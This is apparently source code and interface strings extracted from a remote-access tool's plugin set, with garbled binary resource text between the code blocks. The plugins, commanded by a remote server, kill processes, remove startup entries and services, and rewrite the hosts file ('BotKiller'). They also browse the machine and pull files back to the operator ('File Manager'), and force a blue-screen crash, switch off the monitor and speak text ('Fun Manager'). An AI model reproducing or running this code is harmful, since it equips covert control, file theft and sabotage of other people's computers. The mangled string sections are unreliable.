}
catch { }
}
Thread.Sleep(300);
foreach (string regPath in RegistryRunPaths)
{
RemoveRegEntry(Registry.CurrentUser, regPath, path);
if (IsAdmin()) RemoveRegEntry(Registry.LocalMachine, regPath, path);
}
try
{
ProcessStartInfo psi = new ProcessStartInfo("schtasks.exe", "/query /fo CSV /v");
psi.RedirectStandardOutput = true; psi.UseShellExecute = false; psi.CreateNoWindow = true;
Process proc = Process.Start(psi);
string output = proc.StandardOutput.ReadToEnd();
proc.WaitForExit(15000);
foreach (string line in output.Split('\n'))
{
if (line.IndexOf(path, StringComparison.OrdinalIgnoreCase) >= 0)
{
string[] parts = line.Split(',');
if (parts.Length > 0)
{
string taskName = parts[0].Trim('"', ' ');
if (!string.IsNullOrEmpty(taskName))
{
ProcessStartInfo delPsi = new ProcessStartInfo("schtasks.exe", "/delete /tn \"" + taskName + "\" /f");
delPsi.UseShellExecute = false; delPsi.CreateNoWindow = true;
Process delProc = Process.Start(delPsi);
if (delProc != null) delProc.WaitForExit(5000);
}
}
}
}
}
catch { }
if (File.Exists(path))
{
try { File.SetAttributes(path, FileAttributes.Normal); File.Delete(path); }
catch { MoveFileEx(path, null, 0x4); }
}
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x12, caught.Message); return; }
byte[] pb = Encoding.UTF8.GetBytes(path);
byte[] r2 = new byte[1 + pb.Length]; r2[0] = 0x13;
Buffer.BlockCopy(pb, 0, r2, 1, pb.Length);
await _send(r2);
}
private async Task RemoveThreat(byte[] payload)
{
if (payload == null) return;
await FullRemove(payload);
}
private void RemoveRegEntry(RegistryKey root, string regPath, string filePath)
{
try
{
RegistryKey key = root.OpenSubKey(regPath, true);
if (key == null) return;
foreach (string name in key.GetValueNames())
{
object valObj = key.GetValue(name);
string val = valObj != null ? valObj.ToString() : "";
if (val.IndexOf(filePath, StringComparison.OrdinalIgnoreCase) >= 0)
key.DeleteValue(name, false);
}
key.Close();
}
catch { }
}
private async Task SendProcessList()
{
StringBuilder sb = new StringBuilder();
foreach (Process p in Process.GetProcesses())
{
try
{
string path = ""; long mem = 0; string started = "";
try { path = SafeGetProcessPath(p); if (path == null) path = ""; } catch { }
try { mem = p.WorkingSet64; } catch { }
try { started = p.StartTime.ToString("yyyy-MM-dd HH:mm:ss"); } catch { }
bool prot = IsProtected(p);
bool vis = false;
try { vis = p.MainWindowHandle != IntPtr.Zero && IsWindowVisible(p.MainWindowHandle); } catch { }
sb.AppendLine(p.Id.ToString() + "|" + p.ProcessName + "|" + path + "|" + prot.ToString() + "|" + vis.ToString() + "|" + mem.ToString() + "|" + started);
}
catch { }
}
byte[] data = Encoding.UTF8.GetBytes(sb.ToString());
byte[] r = new byte[1 + data.Length]; r[0] = 0x11;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private async Task SendStartupList()
{
StringBuilder sb = new StringBuilder();
foreach (string regPath in RegistryRunPaths)
{
AppendStartupEntries(sb, Registry.CurrentUser, "HKCU", regPath);
AppendStartupEntries(sb, Registry.LocalMachine, "HKLM", regPath);
}
byte[] data = Encoding.UTF8.GetBytes(sb.ToString());
byte[] r = new byte[1 + data.Length]; r[0] = 0x12;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private void AppendStartupEntries(StringBuilder sb, RegistryKey root, string rootName, string regPath)
{
try
{
RegistryKey key = root.OpenSubKey(regPath, false);
if (key == null) return;
foreach (string name in key.GetValueNames())
{
object valObj = key.GetValue(name);
string val = valObj != null ? valObj.ToString() : "";
sb.AppendLine(rootName + "|" + regPath + "|" + name + "|" + val);
}
key.Close();
}
catch { }
}
private async Task SendScheduledTasks()
{
Exception caught = null; string output = "";
try
{
ProcessStartInfo psi = new ProcessStartInfo("schtasks.exe", "/query /fo CSV /v");
psi.RedirectStandardOutput = true; psi.UseShellExecute = false; psi.CreateNoWindow = true;
Process proc = Process.Start(psi);
output = proc.StandardOutput.ReadToEnd();
proc.WaitForExit(15000);
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x07, caught.Message); return; }
byte[] data = Encoding.UTF8.GetBytes(output);
byte[] r = new byte[1 + data.Length]; r[0] = 0x16;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private async Task RemoveStartupEntry(byte[] payload)
{
if (payload == null) return;
string entry = Encoding.UTF8.GetString(payload);
string[] parts = entry.Split('|');
if (parts.Length < 3) { await SendError(0x08, "Invalid"); return; }
RegistryKey root = parts[0] == "HKLM" ? Registry.LocalMachine : Registry.CurrentUser;
Exception caught = null;
try
{
RegistryKey key = root.OpenSubKey(parts[1], true);
if (key != null) { key.DeleteValue(parts[2], false); key.Close(); }
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x08, caught.Message); return; }
await SendAck(0x08);
}
private async Task QuarantineFile(byte[] payload)
{
if (payload == null) return;
string filePath = Encoding.UTF8.GetString(payload);
if (IsProtectedPath(filePath)) { await SendError(0x09, "Protected"); return; }
Exception caught = null;
try
{
string qDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "BotKillerQuarantine");
Directory.CreateDirectory(qDir);
string dest = Path.Combine(qDir, Convert.ToBase64String(Encoding.UTF8.GetBytes(filePath)).Replace('/', '_').Replace('+', '-') + ".quarantined");
foreach (Process p in Process.GetProcesses())
{
try
{
if (IsProtected(p)) continue;
string procPath = SafeGetProcessPath(p);
if (procPath != null && procPath.Equals(filePath, StringComparison.OrdinalIgnoreCase))
{ p.Kill(); p.WaitForExit(5000); }
}
catch { }
}
Thread.Sleep(200);
File.SetAttributes(filePath, FileAttributes.Normal);
File.Move(filePath, dest);
File.WriteAllText(dest + ".meta", "OriginalPath: " + filePath + "\nDate: " + DateTime.UtcNow.ToString("O") + "\n");
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x09, caught.Message); return; }
await SendAck(0x09);
}
private async Task CheckHostsFile()
{
Exception caught = null; string content = "";
try { string path = Path.Combine(Environment.SystemDirectory, "drivers", "etc", "hosts"); content = File.ReadAllText(path); }
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0A, caught.Message); return; }
byte[] data = Encoding.UTF8.GetBytes(content);
byte[] r = new byte[1 + data.Length]; r[0] = 0x17;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private async Task RepairHostsFile()
{
Exception caught = null;
try
{
string path = Path.Combine(Environment.SystemDirectory, "drivers", "etc", "hosts");
File.WriteAllText(path, "# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file.\r\n#\r\n# 127.0.0.1 localhost\r\n# ::1 localhost\r\n");
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0B, caught.Message); return; }
await SendAck(0x0B);
}
private async Task CheckDNS()
{
Exception caught = null; StringBuilder sb = new StringBuilder();
try
{
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces", false);
if (key != null)
{
foreach (string sub in key.GetSubKeyNames())
{
try
{
RegistryKey sk = key.OpenSubKey(sub, false);
if (sk == null) continue;
object dnsObj = sk.GetValue("NameServer");
object dhcpObj = sk.GetValue("DhcpNameServer");
string dns = dnsObj != null ? dnsObj.ToString() : "";
string dhcp = dhcpObj != null ? dhcpObj.ToString() : "";
if (!string.IsNullOrEmpty(dns) || !string.IsNullOrEmpty(dhcp))
sb.AppendLine(sub + "|DNS=" + dns + "|DHCP=" + dhcp);
sk.Close();
}
catch { }
}
key.Close();
}
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0C, caught.Message); return; }
byte[] data = Encoding.UTF8.GetBytes(sb.ToString());
byte[] r = new byte[1 + data.Length]; r[0] = 0x18;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private async Task ScanServices()
{
Exception caught = null; StringBuilder sb = new StringBuilder();
try
{
RegistryKey servicesKey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services", false);
if (servicesKey != null)
{
foreach (string svcName in servicesKey.GetSubKeyNames())
{
try
{
RegistryKey svcKey = servicesKey.OpenSubKey(svcName, false);
if (svcKey == null) continue;
object typeObj = svcKey.GetValue("Type");
if (typeObj == null) { svcKey.Close(); continue; }
int svcType = Convert.ToInt32(typeObj);
if (svcType != 16 && svcType != 32 && svcType != 256 && svcType != 272) { svcKey.Close(); continue; }
object dispObj = svcKey.GetValue("DisplayName");
string displayName = dispObj != null ? dispObj.ToString() : svcName;
object imgObj = svcKey.GetValue("ImagePath");
string imagePath = imgObj != null ? imgObj.ToString() : "";
object startObj = svcKey.GetValue("Start");
string startType = startObj != null ? startObj.ToString() : "";
string status = "Unknown";
try
{
ProcessStartInfo psi = new ProcessStartInfo("sc.exe", "query \"" + svcName + "\"");
psi.RedirectStandardOutput = true; psi.UseShellExecute = false; psi.CreateNoWindow = true;
Process proc = Process.Start(psi);
string output = proc.StandardOutput.ReadToEnd();
proc.WaitForExit(5000);
if (output.Contains("RUNNING")) status = "Running";
else if (output.Contains("STOPPED")) status = "Stopped";
else if (output.Contains("PAUSED")) status = "Paused";
}
catch { }
sb.AppendLine(svcName + "|" + displayName + "|" + status + "|" + imagePath + "|" + startType);
svcKey.Close();
}
catch { }
}
servicesKey.Close();
}
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0D, caught.Message); return; }
byte[] data = Encoding.UTF8.GetBytes(sb.ToString());
byte[] r = new byte[1 + data.Length]; r[0] = 0x19;
Buffer.BlockCopy(data, 0, r, 1, data.Length);
await _send(r);
}
private async Task StopService(byte[] payload)
{
if (payload == null) return;
string name = Encoding.UTF8.GetString(payload);
Exception caught = null;
try
{
ProcessStartInfo psi = new ProcessStartInfo("sc.exe", "stop \"" + name + "\"");
psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.RedirectStandardOutput = true;
Process proc = Process.Start(psi); proc.WaitForExit(15000);
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0E, caught.Message); return; }
await SendAck(0x0E);
}
private async Task DeleteService(byte[] payload)
{
if (payload == null) return;
string name = Encoding.UTF8.GetString(payload);
Exception caught = null;
try
{
try
{
ProcessStartInfo stopPsi = new ProcessStartInfo("sc.exe", "stop \"" + name + "\"");
stopPsi.UseShellExecute = false; stopPsi.CreateNoWindow = true;
Process stopProc = Process.Start(stopPsi);
if (stopProc != null) stopProc.WaitForExit(10000);
}
catch { }
ProcessStartInfo psi = new ProcessStartInfo("sc.exe", "delete \"" + name + "\"");
psi.UseShellExecute = false; psi.CreateNoWindow = true;
Process proc = Process.Start(psi);
if (proc != null) proc.WaitForExit(10000);
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x0F, caught.Message); return; }
await SendAck(0x0F);
}
private bool IsAdmin()
{
try { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); }
catch { return false; }
}
private async Task SendAck(byte op) { await _send(new byte[] { 0x01, op }); }
private async Task SendError(byte op, string msg)
{
byte[] mb = Encoding.UTF8.GetBytes(msg);
byte[] r = new byte[2 + mb.Length]; r[0] = 0x02; r[1] = op;
Buffer.BlockCopy(mb, 0, r, 2, mb.Length);
try { await _send(r); } catch { }
}
private string SerializeThreats(List<Dictionary<string, object>> threats)
{
StringBuilder sb = new StringBuilder();
sb.Append('[');
for (int i = 0; i < threats.Count; i++)
{
Dictionary<string, object> t = threats[i];
if (i > 0) sb.Append(',');
sb.Append('{');
sb.Append("\"pid\":"); sb.Append(t["pid"].ToString()); sb.Append(',');
sb.Append("\"name\":\""); sb.Append(Esc(t["name"].ToString())); sb.Append("\",");
sb.Append("\"path\":\""); sb.Append(Esc(t["path"].ToString())); sb.Append("\",");
sb.Append("\"level\":"); sb.Append(t["level"].ToString()); sb.Append(',');
sb.Append("\"hash\":\""); sb.Append(Esc(t["hash"].ToString())); sb.Append("\",");
sb.Append("\"size\":"); sb.Append(t["size"].ToString()); sb.Append(',');
sb.Append("\"created\":\""); sb.Append(Esc(t["created"].ToString())); sb.Append("\",");
sb.Append("\"type\":\""); sb.Append(Esc(t["type"].ToString())); sb.Append("\",");
if (t.ContainsKey("registry"))
{ sb.Append("\"registry\":\""); sb.Append(Esc(t["registry"].ToString())); sb.Append("\","); }
if (t.ContainsKey("regValue"))
{ sb.Append("\"regValue\":\""); sb.Append(Esc(t["regValue"].ToString())); sb.Append("\","); }
sb.Append("\"reasons\":[");
List<string> reasons = (List<string>)t["reasons"];
for (int j = 0; j < reasons.Count; j++)
{
if (j > 0) sb.Append(',');
sb.Append('\"'); sb.Append(Esc(reasons[j])); sb.Append('\"');
}
sb.Append("]}");
}
sb.Append(']');
return sb.ToString();
}
private string Esc(string s)
{
if (s == null) return "";
return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\n", "\\n").Replace("\r", "\\r");
}
}
}
[BOTKILLER]
readyUnknown disconnectedCRITICAL HIGH
MEDIUMLOWprocessstartupS'=Ø€Þ™&  BF1 KB MBF0|allthreats=ØáÞNo clients
Ý Scan=ØËÜ Processes=Ø€Þ Startup™& Servicesß NetworkTotal: 0All=Ø4Ý Criticalcritical=Øàß High high=Øáß Medium
medium<Ø¯ß Threatsprocessesservicesnetwork?Select a client and run a scan.5Select a threat to inspect5Click 'Processes' to load.1Click 'Startup' to load.3Click 'Services' to load.=ØÄÜ Hosts FileACascadia Mono,Consolas,monospace1Click 'Network' to load.=Ø'Ý Reset HostsÝ DNS SettingsActivity Logtbd  Ready  WaitingScanning...Scan started (Level
Client TypeStartupProcessPID Path SizeCreated ERRORSHA256:Registry ValueReasons:" 
& Kill=ØÑÝ Delete=Ø€Ü Kill+Del=ØæÜ Quarantine>ØùÝ Full Remove'No threats)Run a scan to check.-No matches for filter. PID  &  Kill NukeTotal: Critical:
High: Medium: NameMemActions=Ø{Ü=ØAÜÝK+DProtectedpid name path level hash sizecreated typeregistryregValuereasonsParse error: ""\s*:\s*(-?\d+)7"\s*:\s*"((?:[^"\\]|\\.)*)"\"\\\#"\s*:\s*\[(.*?)\]'"((?:[^"\\]|\\.)*)" Scan
RemoveProcesses TasksRmStartupQuarantine HostsRepairHostsDNSServicesStopSvc
DelSvcDelFileKill+DelFullRemove0xX2..bdcp)Loading processes...%Loading startup...)Scanning services...'Checking network...#Reset hosts file?Confirm%Repairing hosts...filemgrFile Manager 1.0.0qRemote file system browser with upload/download support.ÀgM
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ClientPlugin_filemgr
{
public class Main
{
private Func<byte[], Task> _send;
private CancellationTokenSource _cts = new CancellationTokenSource();
public async Task Run(Func<byte[], Task> sendData, Func<Task<byte[]>> receiveData)
{
_send = sendData;
// Send ready signal immediately so server knows we're running
await _send(new byte[] { 0xFE });
try
{
while (!_cts.IsCancellationRequested)
{
byte[] data = await receiveData();
if (data == null || data.Length == 0) break;
byte cmd = data[0];
byte[] payload = new byte[data.Length - 1];
if (payload.Length > 0)
Buffer.BlockCopy(data, 1, payload, 0, payload.Length);
Exception caught = null;
try
{
switch (cmd)
{
case 0x01:
await HandleListDir(Encoding.UTF8.GetString(payload));
break;
case 0x02:
await HandleListDrives();
break;
case 0x03:
await HandleDownloadFile(Encoding.UTF8.GetString(payload));
break;
case 0x04:
await HandleUploadFile(payload);
break;
case 0x05:
await HandleDelete(Encoding.UTF8.GetString(payload));
break;
case 0x06:
await HandleRename(payload);
break;
case 0x07:
await HandleCreateDir(Encoding.UTF8.GetString(payload));
break;
case 0x08:
await HandleGetInfo(Encoding.UTF8.GetString(payload));
break;
}
}
catch (Exception ex)
{
caught = ex;
}
if (caught != null)
{
await SendError(cmd, caught.Message);
}
}
}
catch { }
}
private async Task HandleListDir(string path)
{
if (string.IsNullOrEmpty(path))
path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
DirectoryInfo dir = new DirectoryInfo(path);
if (!dir.Exists)
{
await SendError(0x01, "Directory not found: " + path);
return;
}
List<string> entries = new List<string>();
if (dir.Parent != null)
{
entries.Add("D|..|" + dir.Parent.FullName + "|0|");
}
try
{
foreach (DirectoryInfo d in dir.GetDirectories())
{
try
{
string modified = d.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss");
entries.Add("D|" + d.Name + "|" + d.FullName + "|0|" + modified);
}
catch { }
}
}
catch { }
try
{
foreach (FileInfo f in dir.GetFiles())
{
try
{
string modified = f.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss");
entries.Add("F|" + f.Name + "|" + f.FullName + "|" + f.Length + "|" + modified);
}
catch { }
}
}
catch { }
string result = dir.FullName + "\n" + string.Join("\n", entries);
byte[] resultBytes = Encoding.UTF8.GetBytes(result);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x01;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleListDrives()
{
List<string> drives = new List<string>();
foreach (DriveInfo d in DriveInfo.GetDrives())
{
try
{
string label = d.IsReady ? d.VolumeLabel : "";
string type = d.DriveType.ToString();
long total = d.IsReady ? d.TotalSize : 0;
long free = d.IsReady ? d.AvailableFreeSpace : 0;
drives.Add(d.Name + "|" + label + "|" + type + "|" + total + "|" + free);
}
catch { }
}
string result = string.Join("\n", drives);
byte[] resultBytes = Encoding.UTF8.GetBytes(result);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x02;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleDownloadFile(string filePath)
{
FileInfo fi = new FileInfo(filePath);
if (!fi.Exists)
{
await SendError(0x03, "File not found: " + filePath);
return;
}
byte[] nameBytes = Encoding.UTF8.GetBytes(fi.Name);
long fileSize = fi.Length;
int chunkSize = 32768;
int totalChunks = (int)((fileSize + chunkSize - 1) / chunkSize);
if (totalChunks == 0) totalChunks = 1;
byte[] header = new byte[1 + 2 + nameBytes.Length + 8 + 4];
header[0] = 0x10;
header[1] = (byte)(nameBytes.Length & 0xFF);
header[2] = (byte)((nameBytes.Length >> 8) & 0xFF);
Buffer.BlockCopy(nameBytes, 0, header, 3, nameBytes.Length);
int off = 3 + nameBytes.Length;
byte[] sizeBytes = BitConverter.GetBytes(fileSize);
Buffer.BlockCopy(sizeBytes, 0, header, off, 8);
off += 8;
byte[] chunkCountBytes = BitConverter.GetBytes(totalChunks);
Buffer.BlockCopy(chunkCountBytes, 0, header, off, 4);
await _send(header);
using (FileStream fs = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read))
{
byte[] buffer = new byte[chunkSize];
for (int i = 0; i < totalChunks; i++)
{
int bytesRead = fs.Read(buffer, 0, chunkSize);
if (bytesRead <= 0) break;
byte[] chunk = new byte[1 + 4 + bytesRead];
chunk[0] = 0x11;
byte[] idxBytes = BitConverter.GetBytes(i);
Buffer.BlockCopy(idxBytes, 0, chunk, 1, 4);
Buffer.BlockCopy(buffer, 0, chunk, 5, bytesRead);
await _send(chunk);
if (i % 10 == 9)
Thread.Sleep(10);
}
}
}
private async Task HandleUploadFile(byte[] payload)
{
if (payload.Length < 2) return;
int pathLen = payload[0] | (payload[1] << 8);
if (payload.Length < 2 + pathLen) return;
string filePath = Encoding.UTF8.GetString(payload, 2, pathLen);
int dataOffset = 2 + pathLen;
int dataLen = payload.Length - dataOffset;
string dir = Path.GetDirectoryName(filePath);
if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
Directory.CreateDirectory(dir);
using (FileStream fs = new FileStream(filePath, FileMode.Create, FileAccess.Write))
{
if (dataLen > 0)
fs.Write(payload, dataOffset, dataLen);
}
byte[] resultBytes = Encoding.UTF8.GetBytes(filePath);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x04;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleDelete(string path)
{
if (File.Exists(path))
{
File.Delete(path);
}
else if (Directory.Exists(path))
{
Directory.Delete(path, true);
}
else
{
await SendError(0x05, "Path not found: " + path);
return;
}
byte[] resultBytes = Encoding.UTF8.GetBytes("OK|" + path);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x05;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleRename(byte[] payload)
{
string text = Encoding.UTF8.GetString(payload);
string[] parts = text.Split(new char[] { '|' }, 2);
if (parts.Length != 2)
{
await SendError(0x06, "Invalid rename format");
return;
}
string oldPath = parts[0];
string newPath = parts[1];
if (File.Exists(oldPath))
File.Move(oldPath, newPath);
else if (Directory.Exists(oldPath))
Directory.Move(oldPath, newPath);
else
{
await SendError(0x06, "Path not found: " + oldPath);
return;
}
byte[] resultBytes = Encoding.UTF8.GetBytes("OK|" + newPath);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x06;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleCreateDir(string path)
{
Directory.CreateDirectory(path);
byte[] resultBytes = Encoding.UTF8.GetBytes("OK|" + path);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x07;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task HandleGetInfo(string path)
{
string info;
if (File.Exists(path))
{
FileInfo fi = new FileInfo(path);
info = "FILE|" + fi.FullName + "|" + fi.Length + "|" +
fi.CreationTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
fi.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
fi.LastAccessTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
fi.Attributes.ToString();
}
else if (Directory.Exists(path))
{
DirectoryInfo di = new DirectoryInfo(path);
int fileCount = 0;
int dirCount = 0;
try { fileCount = di.GetFiles().Length; } catch { }
try { dirCount = di.GetDirectories().Length; } catch { }
info = "DIR|" + di.FullName + "|0|" +
di.CreationTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
di.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
di.LastAccessTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" +
di.Attributes.ToString() + "|" + fileCount + " files, " + dirCount + " dirs";
}
else
{
await SendError(0x08, "Path not found: " + path);
return;
}
byte[] resultBytes = Encoding.UTF8.GetBytes(info);
byte[] msg = new byte[resultBytes.Length + 1];
msg[0] = 0x08;
Buffer.BlockCopy(resultBytes, 0, msg, 1, resultBytes.Length);
await _send(msg);
}
private async Task SendError(byte forCommand, string message)
{
byte[] errBytes = Encoding.UTF8.GetBytes(message);
byte[] msg = new byte[errBytes.Length + 2];
msg[0] = 0xFF;
msg[1] = forCommand;
Buffer.BlockCopy(errBytes, 0, msg, 2, errBytes.Length);
try { await _send(msg); } catch { }
}
}
}
 <DIR>F2 GB=ØÁÜ .exe .msi .dll .sys .txt .log .cfg .ini .conf .jpg .jpeg .png .gif .bmp .ico .mp3 .wav .flac .ogg .mp4 .avi .mkv .mov .zip .rar.7z .tar.gz .pdf .doc .docx .xls .xlsx .ppt .pptx .bat .cmd.sh.cs .cpp.c.h.py.js .html .css.db.sqlite .mdb .lnk™&þ=Ø'Ý=ØÄÜ=ؼÝþ<صß<جß=ØæÜ=ØÕÜ=ØØÜ=Ø×Ü=ØÙÜ=ØÜÜ=Ø»Ü=ØÃÝþÝ
À% Back + UpÝ Refresh=Ø½Ü Drives+ Download+ Upload=ØÁÜ+ New Folder' RenameGo IconSizeDisplayModifiedKWaiting for client plugin to start...ButtonBorderDirectory:
File:   OK
CancelD folder(s),  file(s), My Computer  free of  drive(s)Downloading:
)  0/ chunks)Save downloaded file'All files (*.*)|*.*Saved: Save error: funFun Manager€«Remote fun controls: BSOD, monitor, CD tray, volume, message box, and text-to-speech.1[FUN] Plugin initialized¾ï
using System;
using System.Runtime.InteropServices;
using System.Speech.Synthesis;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ClientPlugin_fun
{
[ComImport]
[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IAudioEndpointVolume
{
int f(); int g(); int h(); int i();
int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);
int j();
int GetMasterVolumeLevelScalar(out float pfLevel);
int k(); int l(); int m(); int n();
int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);
int GetMute(out bool pbMute);
}
[ComImport]
[Guid("D666063F-1587-4E43-81F1-B948E807363F")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDevice
{
[PreserveSig]
int Activate(ref Guid iid, int dwClsCtx, IntPtr pActivationParams, [Out, MarshalAs(UnmanagedType.IUnknown)] out object ppInterface);
}
[ComImport]
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDeviceEnumerator
{
int f();
[PreserveSig]
int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice ppDevice);
}
[ComImport]
[Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")]
class MMDeviceEnumeratorComObject { }
public class Main
{
[DllImport("ntdll.dll")]
private static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
[DllImport("winmm.dll")]
private static extern uint mciSendString(string lpstrCommand, StringBuilder lpstrReturnString, int uReturnLength, IntPtr hWndCallback);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
private const int HWND_BROADCAST = 0xffff;
private const int WM_SYSCOMMAND = 0x0112;
private const int SC_MONITORPOWER = 0xF170;
private Func<byte[], Task> _send;
private Func<Task<byte[]>> _receive;
public async Task Run(Func<byte[], Task> send, Func<Task<byte[]>> receive)
{
_send = send;
_receive = receive;
await _send(new byte[] { 0xFE });
while (true)
{
byte[] data = await _receive();
if (data == null || data.Length == 0) break;
byte opcode = data[0];
byte[] payload = null;
if (data.Length > 1)
{
payload = new byte[data.Length - 1];
Buffer.BlockCopy(data, 1, payload, 0, payload.Length);
}
byte[] responseToSend = null;
try
{
switch (opcode)
{
case 0x00:
BlueScreen();
break;
case 0x01:
if (payload != null)
{
string text = Encoding.UTF8.GetString(payload);
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
System.Windows.Forms.MessageBox.Show(text, "Message",
System.Windows.Forms.MessageBoxButtons.OK,
System.Windows.Forms.MessageBoxIcon.None,
System.Windows.Forms.MessageBoxDefaultButton.Button1,
(System.Windows.Forms.MessageBoxOptions)0x40000);
}
catch { }
});
}
break;
case 0x03:
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
break;
case 0x04:
mciSendString("set cdaudio door close", null, 0, IntPtr.Zero);
break;
case 0x05:
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
break;
case 0x06:
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
break;
case 0x07:
if (payload != null && payload.Length >= 1)
SetVolume(payload[0]);
break;
case 0x08:
if (payload != null)
{
string ttsText = Encoding.UTF8.GetString(payload);
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
using (var synth = new SpeechSynthesizer())
{
synth.SetOutputToDefaultAudioDevice();
synth.Speak(ttsText);
}
}
catch { }
});
}
break;
}
responseToSend = new byte[] { 0x01, opcode };
}
catch (Exception ex)
{
byte[] errBytes = Encoding.UTF8.GetBytes(ex.Message);
responseToSend = new byte[2 + errBytes.Length];
responseToSend[0] = 0x02;
responseToSend[1] = opcode;
Buffer.BlockCopy(errBytes, 0, responseToSend, 2, errBytes.Length);
}
if (responseToSend != null)
{
try { await _send(responseToSend); } catch { }
}
}
}
private void BlueScreen()
{
bool tmp1;
RtlAdjustPrivilege(19, true, false, out tmp1);
uint tmp2;
NtRaiseHardError(0xC0140002, 0, 0, IntPtr.Zero, 6, out tmp2);
}
private void SetVolume(int vol)
{
const int eRender = 0;
const int eMultimedia = 1;
var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;
IMMDevice dev = null;
Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(eRender, eMultimedia, out dev));
object epv_obj = null;
var epvid = new Guid("5CDF2C82-841E-4546-9722-0CF74078229A");
Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, 0, IntPtr.Zero, out epv_obj));
var epv = epv_obj as IAudioEndpointVolume;
Guid guid = Guid.Empty;
epv.SetMasterVolumeLevelScalar((float)vol / 100f, guid);
bool isMuted;
epv.GetMute(out isMuted);
if (isMuted) epv.SetMute(false, guid);
}
}
}
UN] Client  completed 0x error on 0x1  Waiting for client...¡& System=Ø€Ü BSOD=Ø¥Ý Monitor Off=Ø¥Ý Monitor On=Ø¿Ü CD DriveÏ# Open CDÏ# Close CD
